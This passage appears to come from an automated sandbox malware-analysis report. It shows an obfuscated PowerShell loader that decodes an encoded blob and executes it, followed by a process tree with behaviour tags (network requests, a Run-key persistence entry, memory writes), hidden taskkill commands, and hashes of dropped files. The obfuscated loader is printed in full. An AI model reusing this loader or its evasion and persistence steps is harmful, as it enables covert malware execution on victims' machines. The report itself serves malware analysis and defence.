xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw=';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, '$vFrDb0RYW', ''));$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'') $sw97iJcE"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1492
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wwyafr4l\wwyafr4l.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5800
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9FEF.tmp" "c:\Users\Admin\AppData\Local\Temp\wwyafr4l\CSC2E702EE2FBDE477F8D90314FA69BCA29.TMP"
            4⤵
              PID:2336
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1976
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
              4⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5200
              • C:\Windows\system32\taskkill.exe
                taskkill /IM RegAsm.exe /F
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5492
              • C:\Windows\system32\taskkill.exe
                taskkill /IM Vbc.exe /F
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1112
              • C:\Windows\system32\taskkill.exe
                taskkill /IM MsBuild.exe /F
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5912

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 67KB
            • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 60292489db6d4ba2a3e4448639fbe7fa2261be477f63ef09bca0b55e520a4777
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 85cc2152b8554cac3352c9cf3cb30a79ad427309940cabc2b3a4c496084f8dc5
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a18ef605aba2b054d29e115b365f87a7814c6d5c021b6c6e3ef3a39a4e7c1e44
            • MD5 SHA1 SHA512 TLSH

            3e956bc1-b2b9-49cc-8070-739165e871c8.bat

            • Path C:\Users\Admin\AppData\Local\Temp\3e956bc1-b2b9-49cc-8070-739165e871c8.bat
            • Size 21KB
            • SHA256 d81b0bb9ad5d8e73d910480bd341861585116773eb3ff20ffd34724b50382533
            • MD5 SHA1 SHA512 SSDEEP TLSH

            RES29F4.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES29F4.tmp
            • Size 1KB
            • SHA256 8b0a39db2a99c3b5bd680b0a6fef3791feeb372971c4d24704300f57f2e97b2d
            • MD5 SHA1 SHA512 TLSH

            RES9FEF.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES9FEF.tmp
            • Size 1KB
            • SHA256 cff13836b3281bc26de9fde5fbc201ba82159a2a9936274a02e75b05a8e20510
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_ux5o3ixm.ktp.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ux5o3ixm.ktp.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            kmcldxbl.dll

            • Path C:\Users\Admin\AppData\Local\Temp\kmcldxbl\kmcldxbl.dll
            • Size 3KB
            • SHA256 f951a0380975a1c52ff67fa9016129a004b1cd23d0df1d04890b2a804e5b1694
            • MD5 SHA1 SHA512 TLSH

            wwyafr4l.dll

            • Path C:\Users\Admin\AppData\Local\Temp\wwyafr4l\wwyafr4l.dll
            • Size 3KB
            • SHA256 b11d646d74de15ca34ac98a149f5a5734c6c3cfb10c0f40a845f8640baa1b27c
            • MD5 SHA1 SHA512 TLSH

            CSC996CDBF0F30540B289C9CF6370D5A290.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\kmcldxbl\CSC996CDBF0F30540B289C9CF6370D5A290.TMP
            • Size 652B
            • SHA256 c423a051df923d6fd6ee722240733f72e8a039110484e2c20ef6fd5bc90110ec
            • MD5 SHA1 SHA512 TLSH

            kmcldxbl.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\kmcldxbl\kmcldxbl.0.cs
            • Size 213B
            • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
            • MD5 SHA1 SHA512 TLSH

            kmcldxbl.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\kmcldxbl\kmcldxbl.cmdline
            • Size 369B
            • SHA256 3a9329b8d4c8763420a87cdc664d1ff8c5afd842f2999985fca6039a8f9bbd62
            • MD5 SHA1 SHA512 TLSH

            CSC2E702EE2FBDE477F8D90314FA69BCA29.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\wwyafr4l\CSC2E702EE2FBDE477F8D90314FA69BCA29.TMP
            • Size 652B
            • SHA256 9dd04c2076b7f70e2c5e83255eb757fb9d32bddcb8e9da25bc1ed8982a4b1492
            • MD5 SHA1 SHA512 TLSH

            wwyafr4l.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\wwyafr4l\wwyafr4l.cmdline
            • Size 369B
            • SHA256 7674c5ca1ecd3003e124f79f1333ea239f073ab82d00cf6b1f670c1737ed0e36
            • MD5 SHA1 SHA512 TLSH

            memory/1492-56-0x0000026271D20000-0x0000026271D28000-memory.dmp

            memory/2080-0-0x0000000000B40000-0x0000000000B5E000-memory.dmp

            memory/2080-17-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/2080-1-0x00007FF8998AF000-0x00007FF8998B0000-memory.dmp

            memory/2080-3-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/3788-10-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/3788-9-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/3788-11-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/3788-8-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/3788-5-0x000002600C410000-0x000002600C432000-memory.dmp

            memory/3788-13-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/6124-32-0x0000026AF9D00000-0x0000026AF9D16000-memory.dmp

            memory/6124-30-0x0000026AFA0C0000-0x0000026AFA0C8000-memory.dmp